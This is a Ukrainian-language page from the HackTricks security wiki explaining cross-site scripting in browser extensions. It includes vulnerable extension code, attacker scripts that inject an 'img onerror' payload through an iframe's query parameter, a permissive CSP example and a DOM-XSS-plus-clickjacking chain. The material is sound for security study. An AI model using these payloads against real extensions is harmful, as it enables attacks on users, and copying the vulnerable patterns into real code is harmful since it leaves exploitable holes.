BrowExt - XSS Приклад
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Міжсайтовий скриптинг (XSS) через Iframe
У цій конфігурації реалізовано скрипт контенту, щоб створити Iframe, включаючи URL з параметрами запиту як джерело Iframe:
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
Публічно доступна HTML-сторінка, message.html
, призначена для динамічного додавання вмісту до тіла документа на основі параметрів у URL:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
Зловмисний скрипт виконується на сторінці супротивника, змінюючи параметр content
джерела Iframe, щоб ввести XSS payload. Це досягається шляхом оновлення джерела Iframe, щоб включити шкідливий скрипт:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
Занадто поблажлива політика безпеки контенту, така як:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
дозволяє виконання JavaScript, що робить систему вразливою до атак XSS.
Альтернативний підхід для провокації XSS полягає в створенні елемента Iframe і встановленні його джерела, щоб включити шкідливий скрипт як параметр content
:
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
DOM-based XSS + ClickJacking
Цей приклад був взятий з оригінального поста.
Основна проблема виникає з вразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в /html/bookmarks.html
. Проблемний JavaScript, частина bookmarks.js
, детально описаний нижче:
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
Цей фрагмент отримує значення з поля введення txtName
і використовує конкатенацію рядків для генерації HTML, який потім додається до DOM за допомогою функції .append()
jQuery.
Зазвичай, Політика Безпеки Контенту (CSP) розширення Chrome запобігала б таким вразливостям. Однак, через послаблення CSP з ‘unsafe-eval’ та використання методів маніпуляції DOM jQuery (які використовують globalEval()
для передачі скриптів до eval()
під час вставки в DOM), експлуатація все ще можлива.
Хоча ця вразливість є значною, її експлуатація зазвичай залежить від взаємодії користувача: відвідування сторінки, введення XSS-пейлоаду та активація кнопки “Додати”.
Щоб посилити цю вразливість, експлуатується вторинна вразливість clickjacking. Маніфест розширення Chrome демонструє розширену політику web_accessible_resources
:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Зокрема, сторінка /html/bookmarks.html
підлягає фреймінгу, отже, вразлива до clickjacking. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання змушує жертв взаємодіяти з основним розширенням ненавмисно.
References
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.